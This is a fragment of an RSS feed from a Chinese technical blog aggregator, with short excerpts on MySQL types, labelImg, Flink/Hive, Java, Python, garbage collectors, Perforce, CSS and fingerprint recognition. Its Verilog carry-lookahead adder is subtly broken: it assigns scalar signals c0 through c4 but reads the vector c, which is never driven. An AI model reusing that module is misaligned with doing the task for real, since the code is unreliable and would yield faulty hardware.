      <description>转自：微点阅读 https://www.weidianyuedu.com&#xA;一、数据类型是什么？&#xA;数据类型是指列、存储过程参数、表达式和局部变量的数据特征，它决定了数据的存储格式，代表了不同的信息类型。&#xA;有一些数据是要存储为数字的，数字当中有些是要存储为整数、小数、日期型等...&#xA;二、MYSQL常见数据类型&#xA;MySQL支持多种类型，大致可以分为四类：数值型、浮点型、日期/时间和字符串(字符)类型。&#xA;1、数值类型&#xA;MySQL支持所有标准SQL数值数据类型。&#xA;这些数值类型包括严格数值数据类型(INTEGER、SMALLINT、DECIMAL和NUMERIC)，以及近似数值数据类型(FLOAT、REAL和DOUBLE PRECISION)。&#xA;关键字INT是INTEGER的同义词，关键字DEC是DECIMAL的同义词。&#xA;作为SQL标准的扩展，MySQL也支持整数类型TINYINT、MEDIUMINT和BIGINT。下面的表显示了需要的每个整数类型的存储和范围：&#xA;2、 浮点型&#xA;比如，我们发的工资，一般都带有小数。&#xA;3、日期和时间类型&#xA;表示时间值的日期和时间类型为DATETIME、DATE、TIMESTAMP、TIME和YEAR。&#xA;每个时间类型有一个有效值范围和一个&#34;零&#34;值，当指定不合法的MySQL不能表示的值时使用&#34;零&#34;值。&#xA;TIMESTAMP类型有专有的自动更新特性，将在后面描述。&#xA;在生产里，日期时间型，往往用的比较少，而是用数字类型来取代日期类型！&#xA;4 字符串类型&#xA;字符串类型指CHAR、VARCHAR、BINARY、VARBINARY、BLOB、TEXT、ENUM和SET。该节描述了这些类型如何工作以及如何在查询中使用这些类型。&#xA;CHAR和VARCHAR类型类似，但它们保存和检索的方式不同。它们的最大长度和是否尾部空格被保留等方面也不同。在存储或检索过程中不进行大小写转换。&#xA;BINARY和VARBINARY类类似于CHAR和VARCHAR，不同的是它们包含二进制字符串而不要非二进制字符串。也就是说，它们包含字节字符串而不是字符字符串。这说明它们没有字符集，并且排序和比较基于列值字节的数值值。&#xA;有4种TEXT类型：TINYTEXT、TEXT、MEDIUMTEXT和LONGTEXT。这些对应4种BLOB类型，有相同的最大长度和存储需求。&#xA;ENUM是枚举类型&#xA;SET是集合类型不同于ENUM类型，它是一个排列组合。假如有abc，它可以选择a或b或c，也有选择是ab,ac,bc，也可以选择abc。&#xA;总结&#xA;这些数据类型可以用于数据表或存储过程或以后的函数中，也就是说只要用到数据类型的时候，可以从我们刚讲到的数值型、浮点型、日期/时间和字符串(字符)类型中任意选择。</description>
    </item>
    <item>
      <title>YOLOV5-打标签建立自己的数据集</title>
      <link>https://bchobby.github.io/posts/88ab6de514acfe6acaffa8c1b959943f/</link>
      <pubDate>Sat, 16 Jul 2022 12:16:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/88ab6de514acfe6acaffa8c1b959943f/</guid>
      <description>🌞欢迎来到机器学习的世界 🌈博客主页：卿云阁&#xA;💌欢迎关注🎉点赞👍收藏⭐️留言📝&#xA;🌟本文由卿云阁原创！&#xA;🌠本阶段属于练气阶段，希望各位仙友顺利完成突破&#xA;📆首发时间：🌹2021年7月16日🌹&#xA;✉️希望可以和大家一起完成进阶之路！&#xA;🙏作者水平很有限，如果发现错误，请留言轰炸哦！万分感谢！&#xA;labelImg下载&#xA;labelImag在github上面有，可自行下载&#xA;下载链接: labelImg-master.&#xA;1.修改标签&#xA;在data/predefined_classes里面修改里面的class，比如我的标签为red和green就按这个格式改。&#xA;2.然后直接点击labelImg.py文件打开&#xA;运行环境一般有python的idle都可以直接打开，如果是pycharm就要在pycharm打开代码，然后手动run，这个时候小伙伴可能会遇到这个问题。 conda install pyqt=5 conda install -c anaconda lxml pyrcc5 -o libs/resources.py resources.qrc python labelImg.py python labelImg.py [IMAGE_PATH] [PRE-DEFINED CLASS FILE] 主页信息告诉我们，当我们把源码下载下来之后，先要在Anaconda Prompt中进入到解压之后的文件目录下，在依次执行上面的指令。其中前三个指令缺一不可哦（除非环境中早已安装有前两个），其中第三条指令最重要! 3.打开后将格式改成yolo&#xA;4.选择图片位置和我们标注的txt文件保存的位置&#xA;一般用labelImg我们都要在文件中创建images文件夹和labels文件夹，将需要标注的图片放在images文件夹中，labels文件夹暂时不用放东西，到时候会自动生成标注的txt文件然后Open Dir选择images，Change Save Dir选择labels。&#xA;下图为我的数据集保存的位置 5.然后就可以开始标注我们的数据集了&#xA;按“w”键可以开始标注&#xA;按“a”键是上一张&#xA;按“d”键是下一张&#xA;6.自动保存&#xA;如果我们需要快速标注数据集，可以在view/atuo save mode选择自动保存，这样按下一张就不会跳出是否保存的选择框了。 7.更加快捷操作&#xA;如果标注的时候很多张都是red，就可以在右上角将&#34;use default label&#34;勾选上，在后面填上red。</description>
    </item>
    <item>
      <title>Flink1.14学习测试:将数据写入到Hive&amp;Hdfs(二)</title>
      <link>https://bchobby.github.io/posts/f45412a78c39fc3911439ea3026b388f/</link>
      <pubDate>Sat, 16 Jul 2022 11:10:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f45412a78c39fc3911439ea3026b388f/</guid>
      <description>Flink1.14学习测试:将数据写入到Hive&amp;amp;Hdfs(二) 参考 Kafka SQL 连接器 : https://nightlies.apache.org/flink/flink-docs-master/zh/docs/connectors/table/kafka/标量函数(udf) : https://nightlies.apache.org/flink/flink-docs-master/zh/docs/dev/table/functions/udfs/#%E6%A0%87%E9%87%8F%E5%87%BD%E6%95%B0Formats : https://nightlies.apache.org/flink/flink-docs-master/zh/docs/connectors/table/formats/overview/ 接收Kafka数据并写入到Hive （实现思路一） 说明 消息结构(JSON格式) {&#34;name&#34;:&#34;Fznjui&#34;,&#34;age&#34;:16,&#34;gender&#34;:&#34;女&#34;} Kafka表定义 Kafka Table配置jsonformat。Schema结构保持与消息内容结构一致，当消息接收到时即可直接转换。&#xA;自定义UDF函数 此处是因为中文分区目录HIve不识别，所以做个转换函数。&#xA;测试完整代码 import cn.hutool.core.io.resource.ResourceUtil import org.apache.flink.api.java.utils.ParameterTool import org.apache.flink.streaming.api.CheckpointingMode import org.apache.flink.streaming.api.scala.StreamExecutionEnvironment import org.apache.flink.table.api.Expressions.{$, currentTimestamp, dateFormat} import org.apache.flink.table.api.bridge.scala.StreamTableEnvironment import org.apache.flink.table.api.{ApiExpression, DataTypes, FieldExpression, Schema, SqlDialect, TableDescriptor, call} import org.apache.flink.table.catalog.hive.HiveCatalog import org.apache.flink.table.functions.ScalarFunction import java.util.concurrent.TimeUnit object KafkaToHiveTest1 { private val sourceTopic = &#34;ly_test&#34; private val kafkaServers = &#34;192.168.11.160:9092,192.168.11.161:9092,192.168.11.162:9092&#34; def main(args: Array[String]): Unit = { //参数配置(flink参数获取工具类) val parameterTool = ParameterTool.</description>
    </item>
    <item>
      <title>超前进位加法器(Verilog&amp;数字IC)</title>
      <link>https://bchobby.github.io/posts/c879f88bb849fff47b493225968526b2/</link>
      <pubDate>Fri, 15 Jul 2022 21:34:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c879f88bb849fff47b493225968526b2/</guid>
      <description>在说到超前加法器之前，先要了解普通全加器。&#xA;首先画出全加器真值表&#xA;则此时可以写出Verilog代码：&#xA;module advance_adder( input [3:0] a, input [3:0] b, input c_in, output [3:0] sum_out, output c_out ); wire [4:0] g,p,c; assign g=a&amp;amp;b; assign p=a|b; assign c0=c_in; assign c1=g[0]|(p[0]&amp;amp;c[0]); assign c2=g[1]|(p[1]&amp;amp;(g[0]|(p[0]&amp;amp;c[0]))); assign c3=g[2]|(p[2]&amp;amp;(g[1]|(p[1]&amp;amp;(g[0]|(p[0]&amp;amp;c[0]))))); assign c4=g[3]|(p[3]&amp;amp;(g[2]|(p[2]&amp;amp;(g[1]|(p[1]&amp;amp;(g[0]|(p[0]&amp;amp;c[0]))))))); assign sum_out = p^g^c[3:0]; assign c_out = c[4]; endmodule 普通加法器需要等进位完成才计算下一位，这样在计算大大增加了运算的时间，而超前进位加法器可以直接计算出所有全加器的进位输入信号，无需像普通加法器一样从最低位开始像最高位逐位传递信号。</description>
    </item>
    <item>
      <title>python中列表常用方法</title>
      <link>https://bchobby.github.io/posts/8f61f565a1bacbcfd382dd92463b6f29/</link>
      <pubDate>Fri, 15 Jul 2022 20:42:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8f61f565a1bacbcfd382dd92463b6f29/</guid>
      <description>列表可以通过下标来改变元素的值列表中的元素也可以是列表列表中的元素种类可以不同 1.append（object）在列表尾部追加元素&#xA;#追加元素 a = [&#34;city&#34;,&#34;kill&#34;,11,98] a.append(&#34;python&#34;) print(a) #追加元组 b = [&#34;city&#34;,&#34;kill&#34;,11,98] t = (&#34;java&#34;,&#34;python&#34;) b.append(t) print(b) #追加列表 c = [&#34;city&#34;,&#34;kill&#34;,11,98] c.append([&#34;java&#34;,&#34;python&#34;]) print(c) [&#39;city&#39;, &#39;kill&#39;, 11, 98, &#39;python&#39;]&#xA;[&#39;city&#39;, &#39;kill&#39;, 11, 98, (&#39;java&#39;, &#39;python&#39;)]&#xA;[&#39;city&#39;, &#39;kill&#39;, 11, 98, [&#39;java&#39;, &#39;python&#39;]]&#xA;2.insert（index，object）向指定位置添加元素&#xA;#插入元素 a = [&#34;city&#34;,&#34;kill&#34;,11,98] a.insert(1,&#39;python&#39;) print(a) #插入元组 b = [&#34;city&#34;,&#34;kill&#34;,11,98] t = (&#34;java&#34;,&#34;python&#34;) b.insert(1,t) print(b) #插入列表 c = [&#34;city&#34;,&#34;kill&#34;,11,98] c.insert(3,[&#34;java&#34;,&#34;python&#34;]) print(c) #插入字符串 d = [&#34;city&#34;,&#34;kill&#34;,11,98] d.insert(0,&#34;python&#34;) [&#39;city&#39;, &#39;python&#39;, &#39;kill&#39;, 11, 98]</description>
    </item>
    <item>
      <title>大数据培训 Hive 相关知识的全面总结</title>
      <link>https://bchobby.github.io/posts/dac96a12b9298793b2ce5ccad4b25166/</link>
      <pubDate>Fri, 15 Jul 2022 14:42:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dac96a12b9298793b2ce5ccad4b25166/</guid>
      <description>一、了解Hive&#xA;1、Hive的概念及架构&#xA;Hive 是建立在 Hadoop 上的数据仓库基础构架。它提供了一系列的工具，可以用来进行数据提取转化加载（ETL ），这是一种可以存储、查询和分析存储在 Hadoop 中的大规模数据的机制。Hive 定义了简单的类 SQL 查询语言，称为 HQL ，它允许熟悉 SQL 的用户查询数据。同时，这个语言也允许熟悉 MapReduce 的开发者开发自定义的 mapper 和 reducer 来处理内建的 mapper 和 reducer 无法完成的复杂的分析工作。&#xA;「Hive是SQL解析引擎」，它将SQL语句转译成Map/Reduce Job然后在Hadoop执行。「Hive的表其实就是HDFS的目录」，按表名把文件夹分开。如果是分区表，则分区值是子文件夹，可以直接在Map/Reduce Job里使用这些数据。&#xA;「Hive相当于hadoop的客户端工具」，部署时不一定放在集群管理节点中，也可以放在某个节点上。&#xA;❝&#xA;「数据仓库」，英文名称为「Data Warehouse」，可简写为DW或DWH。数据仓库，是为企业所有级别的决策制定过程，提供所有类型数据支持的战略集合。它出于分析性报告和决策支持目的而创建。为需要业务智能的企业，提供指导业务流程改进、监视时间、成本、质量以及控制。&#xA;❞&#xA;❝&#xA;Hive的版本介绍：0.13和.14版本，稳定版本，但是不支持更新删除操作。1.2.1和1.2.2 版本，稳定版本，为Hive2版本（是主流版本）1.2.1的程序只能连接hive1.2.1 的hiveserver2&#xA;❞&#xA;2、Hive与传统数据库比较&#xA;查询语言。类 SQL 的查询语言 HQL。熟悉 SQL 开发的开发者可以很方便的使用 Hive 进行开发。数据存储位置。所有 Hive 的数据都是存储在 HDFS 中的。而数据库则可以将数据保存在块设备或者本地文件系统中。数据格式。Hive 中没有定义专门的数据格式。而在数据库中，所有数据都会按照一定的组织存储，因此，数据库加载数据的过程会比较耗时。数据更新。Hive 对数据的改写和添加比较弱化，0.14版本之后支持，需要启动配置项。而数据库中的数据通常是需要经常进行修改的。索引。Hive 在加载数据的过程中不会对数据进行任何处理。因此访问延迟较高。数据库可以有很高的效率，较低的延迟。由于数据的访问延迟较高，决定了 Hive 不适合在线数据查询。执行计算。Hive 中执行是通过 MapReduce 来实现的而数据库通常有自己的执行引擎。数据规模。由于 Hive 建立在集群上并可以利用 MapReduce 进行并行计算，因此可以支持很大规模的数据；对应的，数据库可以支持的数据规模较小。 3、Hive的数据存储格式&#xA;Hive的数据存储基于Hadoop HDFS。Hive没有专门的数据文件格式，常见的有以下几种：TEXTFILE、SEQUENCEFILE、AVRO、RCFILE、ORCFILE、PARQUET。 「下面我们详细的看一下Hive的常见数据格式：」&#xA;「TextFile:」 「TEXTFILE 即正常的文本格式，是Hive默认文件存储格式」，因为大多数情况下源数据文件都是以text文件格式保存（便于查看验数和防止乱码）。此种格式的表文件在HDFS上是明文，可用hadoop fs -cat命令查看，从HDFS上get下来后也可以直接读取。 「TEXTFILE 存储文件默认每一行就是一条记录，可以指定任意的分隔符进行字段间的分割。但这个格式无压缩，需要的存储空间很大」。虽然可以结合Gzip、Bzip2、Snappy等使用，使用这种方式，Hive不会对数据进行切分，从而无法对数据进行并行操作。「一般只有与其他系统由数据交互的接口表采用TEXTFILE 格式，其他事实表和维度表都不建议使用。」</description>
    </item>
    <item>
      <title>java培训4种Map遍历 key-value 的方法</title>
      <link>https://bchobby.github.io/posts/933d345dd411fe5707da3ad0588e4be9/</link>
      <pubDate>Fri, 15 Jul 2022 13:49:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/933d345dd411fe5707da3ad0588e4be9/</guid>
      <description>四种方法&#xA;先用keySet()取出所有key值，再取出对应value——增强for循环遍历先用keySet()取出所有key值，再取出对应value——使用迭代器遍历通过entrySet来获取key-value——增强for循环遍历通过entrySet来获取key-value——使用迭代器遍历 Map是java中的接口，Map.Entry是Map的一个内部接口。Map提供了一些常用方法，如keySet()、entrySet()等方法，keySet()方法返回值是Map中key值的Set集合；entrySet()的返回值也是返回一个Set集合，此集合的类型为Map.Entry&amp;lt;K, V&amp;gt;_java培训。&#xA;Map.Entry是Map声明的一个内部接口，此接口为泛型，定义为Entry&amp;lt;K,V&amp;gt;。它表示Map中的一个实体（一个key-value对）。接口中有getKey(),getValue方法。&#xA;1、构造HashMap，给hashMap添加元素&#xA;HashMap hashMap = new HashMap();&#xA;hashMap.put(&#34;三国演义&#34;,&#34;罗贯中&#34;);&#xA;hashMap.put(&#34;水浒传&#34;,&#34;施耐庵&#34;);&#xA;hashMap.put(&#34;西游记&#34;,&#34;吴承恩&#34;);&#xA;hashMap.put(&#34;红楼梦&#34;,&#34;曹雪芹&#34;);&#xA;2、 方法一：先用keySet()取出所有key值，再取出对应value——使用迭代器遍历&#xA;2.1 代码&#xA;/*1、先用keySet()取出所有key值，再取出对应value——增强for循环遍历*/&#xA;System.out.println(&#34;====1、先用keySet()取出所有key值，再取出对应value——增强for循环遍历====&#34;);&#xA;Set keyset = hashMap.keySet();&#xA;for(Object key:keyset){&#xA;System.out.println(key+&#34;-&#34;+hashMap.get(key));&#xA;}&#xA;2.2 运行结果&#xA;3、 方法二：先取出所有的key，再通过key取出对应的value——使用迭代器遍历&#xA;3.1 代码&#xA;/*2、先用keySet()取出所有key值，再取出对应value——使用迭代器遍历*/&#xA;System.out.println(&#34;====2、先用keySet()取出所有key值，再取出对应value——使用迭代器遍历====&#34;);&#xA;Iterator iterator = keyset.iterator();&#xA;while(iterator.hasNext()){&#xA;Object key = iterator.next();&#xA;System.out.println(key+&#34;-&#34;+hashMap.get(key));&#xA;}&#xA;3.2 运行结果&#xA;4、 方法三：通过entrySet()获得key-value值——增强for循环遍历&#xA;4.1 代码&#xA;/*3、通过entrySet()获得key-value值——增强for循环遍历*/&#xA;System.out.println(&#34;====3、通过entrySet()获得key-value值——增强for循环遍历====&#34;);&#xA;Set set = hashMap.entrySet();&#xA;for(Object key:set){&#xA;Map.Entry entry = (Map.Entry) key;&#xA;System.out.println(entry.getKey()+&#34;-&#34;+entry.getValue());&#xA;}</description>
    </item>
    <item>
      <title>不用工具，如何快速计算文件的MD5？</title>
      <link>https://bchobby.github.io/posts/22df739d1087781bda13b4a978187a76/</link>
      <pubDate>Fri, 15 Jul 2022 12:02:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/22df739d1087781bda13b4a978187a76/</guid>
      <description>网络安全现在是信息化系统中的必备要素。大家在各种软件下载站上下载的文件，到底有没有被植入木马，是否安全，你心里有底吗？植入木马的一种常用手段，就是黑客先拿下软件下载站点，甚至自己搭建一个站点，然后等你下载……。&#xA;恶意篡改文件下载网站导致的网络安全事件已经屡见不鲜。2019年，国内某知名的PHP网站环境程序集成包“phpstudy”就遭到黑客恶意篡改，其中Windows版本自带的php_xmlrpc.dll模块被植入后门。攻击者在请求中构造特定字符串，可实现远程命令执行控制服务器。&#xA;出于安全考虑，越来越多的文件下载网站都利用公示md5校验值的方式来校验一个文件的数据完整性，那么我们在下载网站文件后如何快速计算此文件的md5值呢？再从网上下一个MD5校验工具？好像又有点不放心啊，谁来保证这个MD5校验工具的安全性？下面我介绍四种快速计算文件md5值的方法，供大家参考。&#xA;问题：&#xA;计算互联网下载的文件，校验文件md5与官网公示md5是否一致，防止文件被篡改，确保数据的完整性，以免造成不必要的损失。&#xA;方法一：Windows环境下计算文件md5&#xA;命令：certutil -hashfile 【filename】 MD5，这个是windows自带的命令，非常好用：&#xA;MD5快速计算出来了。&#xA;方法二：Linux环境下计算文件md5&#xA;Linux的md5sum命令便用于生成和校验文件的md5值，需要注意的是，md5sum检验的是文件内容，而不是文件名。&#xA;md5sum命令执行方法：md5sum 【filename】，下面在md5sum的命令帮助，直接敲就行了。&#xA;-b, --binary 以二进制模式读取 -c, --check 从文件中读取MD5 的校验值并予以检查 --tag create a BSD-style checksum -t, --text 以纯文本模式读取(默认) Note: There is no difference between binary and text mode option on GNU system. The following four options are useful only when verifying checksums: --quiet don&#39;t print OK for each successfully verified file --status don&#39;t output anything, status code shows success --strict exit non-zero for improperly formatted checksum lines -w, --warn warn about improperly formatted checksum lines --help 显示此帮助信息并退出 --version 显示版本信息并退出 方法三：在Mac环境下计算文件md5</description>
    </item>
    <item>
      <title>g1和cms介绍(适合面试)</title>
      <link>https://bchobby.github.io/posts/7b9da9b1694221f8700fb2cb4d3410c5/</link>
      <pubDate>Fri, 15 Jul 2022 11:56:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7b9da9b1694221f8700fb2cb4d3410c5/</guid>
      <description>CMS垃圾回收器:&#xA;CMS是作用于老年代的并发垃圾回收器,使用标记清除算法,工作流程是:初始标记,并发标记,再次标记,并发清除&#xA;优点&#xA;耗时最长的并发标记和并发清除阶段gc线程和用户线程是并发执行的,因此其STW时间短,适合对延迟有要求的任务 缺点:&#xA;CMS在老年代使用的是标记清除算法,会产生大量内存碎片GC线程与用户线程并发执行,二者会抢占cpu,并且会产生浮动垃圾 初始标记阶段会发生短暂的stw,用于标记GCRoot对象能够直接到达的对象&#xA;并发标记阶段gc线程根据GCRoot对象标记可到到的存活对象,应用程序可以和gc线程并行进行,不需要stw&#xA;再次标记阶段会进行stw,目的是为了修正因为并发标记阶段应用程序和gc线程并发执行产生的浮动垃圾&#xA;并发清除阶段gc线程清除垃圾对象,gc线程和应用线程并发执行因此会产生浮动垃圾,在下一次gc清理该浮动垃圾&#xA;G1垃圾回收器:&#xA;G1垃圾回收器是一款可以同时管理新生代和老年代,在老年代使用标记整理算法,其最大的特点是将内存划分为多个大小相等region,每个region都可以作为伊甸区,survivor区,老年代&#xA;优点:&#xA;老年代使用标记整理算法,不会产生内存碎片使用region,不会出现新生代或者老年代分配空间过大而造成浪费每次只选择垃圾对象多的region,而不是整个堆,大幅减少了STW时间(但region与region之间是有依赖关系的,g1维护了一个Remembered Set记忆集记录了region的依赖关系,只需要扫描关联的region,而不是整个堆)用于可预测停顿的模型,可以指定STW时间(也就是可预测停顿),比如在一小时内垃圾回收导致的&#34;stop the world&#34;时间不超过一分钟。 G1垃圾回收过程主要包含三个阶段,&#xA;当伊甸区慢时,年轻代使用标记复制算法进行回收当堆空间的内存占用达到阈值时,老年代使用标记整理算法进行回收,前三个过程和cms类似,都为初始标记,并发标记,并发清除,区别在于最终清除阶段,CMS是并发的,而G1会进行STW,不是并发的当老年代占比达到阈值,触发混合回收,为了防止堆内存耗尽,会回收所有年轻代和部分老年代 CMS和G1比较:&#xA;G1和CMS都分为4个阶段,前三个阶段基本相同都为初始标记,并发标记,再次标记,区别在于最后清除阶段CMS是并发的,G1不是并发的,因此CMS最终会产生浮动垃圾,只能等待下次gc才能清除G1可以管理整个堆,而CMS只能作用于老年代,并且CMS在老年代使用的是标记清除算法,会产生内存碎片,而G1使用标记整理算法,不会产生内存碎片G1相比于CMS最大的区别是G1将内存划分为大小相等的Region,可以选择垃圾对象多的Region而不是整个堆从而减少STW,同时使用Region可以更精确控制收集,我们可以手动明确一个垃圾回收的最大时间 补充:&#xA;因为耗时最长的并发标记和并发清除gc线程和应用线程都是并发执行的,所以总体来看cms收集器的gc线程和应用线程是并发执行的&#xA;G1之所以能做到回收时间可控，主要是得益于Region这个结构。G1会记录每个Region里的对象有多少是垃圾对象，如果要对某个Region进行垃圾回收，他会计算出对该Region回收的时间，可以回收多少垃圾。&#xA;实际上除了CMS收集器，其他都不存在只针对老年代的收集。&#xA;但是每个region之间是有互相引用的依赖关系的！这导致在MinorGC的时候会同时对老年代进行扫描（甚至是整个堆扫描），那就会导致MinorGC的效率低下，时间变长！&#xA;解决方法是:维护一个Remebered Set集合来存放各个Region之间的引用关系！当进行GC Roots Tracing 的时候就可以只扫描set里的关联region！而不用全堆扫描啦！！！ 在GC根节点的枚举范围中加入Remembered Set即可保证不对全堆扫描也不会有遗漏了。</description>
    </item>
    <item>
      <title>perforce(P4)常用命令(命令行)</title>
      <link>https://bchobby.github.io/posts/b881f3be695d94939c5554b686902668/</link>
      <pubDate>Fri, 15 Jul 2022 11:24:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b881f3be695d94939c5554b686902668/</guid>
      <description>序号&#xA;命令&#xA;说明&#xA;1p4 -c &amp;lt;clientName&amp;gt; sync &amp;lt;filename&amp;gt;全部同步， 注意需要指定客户端名称 如 -c test, 后面可以 具体文件名称2p4 edit filename修改文件3p4 client &amp;lt;cliName&amp;gt;在某个目录下执行，创建一个client，注意修改 里面的View,对应的是要下载server里面的代码4 export P4CLIENT=autoconfig&#xA;export P4PASSWD=123456&#xA;export P4USER=test&#xA;export P4PORT=localhost:1666&#xA;可以指定默认的client&#xA;没设置可能会报以下 错误：&#xA;Perforce client error:&#xA;SSL connect to ssl:1666 failed (Connection reset by peer).&#xA;Remove SSL protocol prefix from P4PORT or fix the TLS settings.&#xA;5p4 changes查看变更6p4 client -o -S &#34;//streamsDepot/mainline&#34; &#34;test123&#34; | p4 client -i创建client， 并修改对应关系7p4 client -d test123删除clientp4 client -o -S &#34;</description>
    </item>
    <item>
      <title>web前端培训如何使用CSS自定义属性实现骨架屏</title>
      <link>https://bchobby.github.io/posts/7392bad9c02eed08628eea090590c120/</link>
      <pubDate>Fri, 15 Jul 2022 10:55:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7392bad9c02eed08628eea090590c120/</guid>
      <description>项目要不要加载loading状态通常是在项目完成后才考虑的事情，当然，有时候直接就不考虑了。&#xA;开发人员的职责不只是提高性能，同时优化网络差时，请求接口缓慢导致的页面的慢渲染也是非常重要的。&#xA;速度的错觉&#xA;随着我们对移动体验的期望的变化，我们对性能的理解也在变化。我们期望，无论当前的网络如何，web页面都能像原生应用程序一样顺滑，一样快速响应。&#xA;骨架屏的出现。这个想法使得用户更有耐心，因为他们知道正在发生什么，并且在内容实际存在之前能够预测内容，那么他们会认为系统更快。这在很大程度上保持了用户等待的热情。&#xA;骨架屏&#xA;这个概念可能包括显示文本，图像或其他内容元。可以在网上可以看到骨架屏的使用已经非常广泛，Facebook，Google，Slack等公司都在使用。&#xA;每当有人从服务器请求新内容时，您可以立即开始显示骨架，同时在后台加载数据。内容准备就绪后，只需将骨架换成实际卡即可。&#xA;您可以使用图像来显示骨架，但这会引入额外的请求和数据开销。我们本身已经在这里加载了东西，所以还要去等待另一个图像先加载，这可不是一个好主意。另外图片不是响应式的，如果我们决定调整卡片的样式，我们将不得不更改骨架图像，以便它们再次匹配_前端培训。&#xA;一个更好的解决方案是只用 CSS 创建骨架屏。没有额外的请求，最小的开销。而且以后修改更加的方便快捷。&#xA;CSS 中绘制骨架&#xA;首先，我们需要绘制构成卡片骨架的基本形状。&#xA;我们可以通过向background-image属性添加不同的渐变来做到这一点。默认情况下，线性渐变从上到下运行，具有不同的颜色过渡。如果我们只定义一个色标，其余的保持透明，我们就可以绘制形状。&#xA;请记住，多个背景图像在这里堆叠在一起，因此顺序很重要。最后一个渐变定义将展示在后面，最先定义的展示在前面。&#xA;.skeleton {&#xA;background-repeat: no-repeat;&#xA;background-image:&#xA;/* layer 2: avatar */&#xA;/* white circle with 16px radius */&#xA;radial-gradient(circle 16px, white 99%, transparent 0),&#xA;/* layer 1: title */&#xA;/* white rectangle with 40px height */&#xA;linear-gradient(white 40px, transparent 0),&#xA;/* layer 0: card bg */&#xA;/* gray rectangle that covers whole element */</description>
    </item>
    <item>
      <title>【毕业设计】python opencv 深度学习 指纹识别算法实现</title>
      <link>https://bchobby.github.io/posts/bb781a9c6f297fe38aad79501a45d840/</link>
      <pubDate>Fri, 15 Jul 2022 10:52:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bb781a9c6f297fe38aad79501a45d840/</guid>
      <description>文章目录 1 前言2 指纹识别方式2.1 电容式指纹识别2.2 光学式指纹识别 3 指纹识别算法实现3.1 指纹识别算法流程3.2 指纹图像预处理3.3 指纹图像目标提取3.4 指纹图像增强3.5 指纹特征提取3.6 指纹识别结果 4 整体效果5 最后 1 前言 🔥 这两年开始毕业设计和毕业答辩的要求和难度不断提升，传统的毕设题目缺少创新和亮点，往往达不到毕业答辩的要求，这两年不断有学弟学妹告诉学长自己做的项目系统达不到老师的要求。&#xA;为了大家能够顺利以及最少的精力通过毕设，学长分享优质毕业设计项目，今天要分享的是&#xA;🚩 python opencv 深度学习 指纹识别算法实现&#xA;🥇学长这里给一个题目综合评分(每项满分5分)&#xA;难度系数：3分工作量：4分创新点：4分 🧿 选题指导, 项目分享：&#xA;https://gitee.com/dancheng-senior/project-sharing-1/blob/master/%E6%AF%95%E8%AE%BE%E6%8C%87%E5%AF%BC/README.md&#xA;2 指纹识别方式 目前市面上有两种指纹识别，分别是光学式和电容式指纹识别。&#xA;2.1 电容式指纹识别 电容式指纹识别要比光学式的复杂得多，其原理是将压力感测、电容感测、热感测等感测器整合于一块芯片中，当指纹按压芯片表面时，内部电容感测器会根据指纹波峰与波谷而产生的电荷差（或是温差），形成指纹影像，再通过与算法内部的指纹库进行匹配，从而完成指纹识别。&#xA;电容式指纹识别技术较为复杂，对技术研发和积累有较高要求，并且涉及大量专利，算法得实现也相对困难，所以目前全球只有少数公司能在这方面提供领先的技术产品。&#xA;2.2 光学式指纹识别 然后是光学式指纹识别，大家常见的指纹考勤机就是光学式指纹识别。&#xA;这类光学式指纹识别主要包括4个方面功能&#xA;1.指纹模块负责采集指纹图像。2.数字信号处理器主要把采集到的指纹图像转化为数字信号。3.微控制器是整个系统的控制单元，在这里将进行指纹的验证以及输出指令。4.液晶显示器将输出指纹验证结果。 当我们把手指放在指纹考勤机上时，通过镜面反射原理，指纹模块就会采集指纹图像&#xA;接着指纹图像就会被数字信号处理器转换成数字信号&#xA;然后通过微控制器将数字信号与指纹库里的指纹进行匹配，匹配结果将通过液晶显示器显示出来。这就是光学式指纹识别的工作原理。&#xA;电容式与光学式指纹识别主要在指纹的采集方式上拥有较大差异，而在指纹的验证过程中则基本类似。然而因为电容式指纹识别拥有体积小、适用性广的优点，已经有越来越多的设备采用电容式指纹识别，未来的主流将是电容式指纹识别。&#xA;3 指纹识别算法实现 3.1 指纹识别算法流程 3.2 指纹图像预处理 1.图像归一化2.图像分割3.图像二值化4.细化 几个步骤 当然有一些算法为了追求极致，中间还利用了增强、多重滤波等方式，但最根本的目的都是为了在细化之后保留指纹信息并且方便后续处理。&#xA;预处理之后是特征点的提取，也就是找到指纹图像当中有价值，具有唯一性和不变性的信息。主要特征点有端点、分叉点几类，在提取部分除了简单的遍历检索确认之外，还有比较重要的一步是伪特征点的去除，主要是针对图像不清晰、不完整导致的断点和边缘端点等。&#xA;最后一步是特征点的匹配，将指纹库中的指纹信息与提取的目标图像特征点进行对比。主流算法是以指纹中心点为依据，根据特征点所在的角度及距离，确认其所在位置，根据匹配度计算是否是同一手指的指纹。&#xA;3.3 指纹图像目标提取 指纹图像目标提取主要是将指纹图片中提取出来，也叫做指纹图像分割。&#xA;图片的前景通过观察可知是由条状或者圆形的一些组成，而底图其他部分只是一个均匀的底色而已。&#xA;我们使用非常简单的手段，基于局部梯度就可以很容易实现我们的目标。&#xA;方差梯度法提取指纹:&#xA;指纹图像通常由前景区域（包含有指纹的脊线和谷线）和背景区域这两部分组成。一般来说，在指纹图像的前景区域中，指纹的脊线和谷线的灰度差是较大的，因而其灰度统计特性局部灰度方差很大；而在指纹图像的背景区域中，两者的方差是很小的。基于这一特性，可以利用指纹图像的局部方差来进行分割。因此，这种方法也被称为方差梯度法。&#xA;的灰度平均值 M和方差 Var计算方法：</description>
    </item>
    <item>
      <title>运放 &#43; MOS管构成的恒流电路分析及实用环境器件参数选择</title>
      <link>https://bchobby.github.io/posts/fdc0dbdf406fb2a807e3ebc690d83c42/</link>
      <pubDate>Thu, 14 Jul 2022 20:22:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fdc0dbdf406fb2a807e3ebc690d83c42/</guid>
